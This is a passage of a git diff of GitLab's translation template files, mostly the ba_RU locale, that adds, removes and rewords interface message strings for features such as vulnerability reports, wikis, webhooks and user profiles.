+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index a5fbb55523f..d843e637f82 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:44\n"
+"PO-Revision-Date: 2020-12-03 08:12\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] ""
@@ -296,22 +300,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -385,6 +380,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -817,6 +800,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
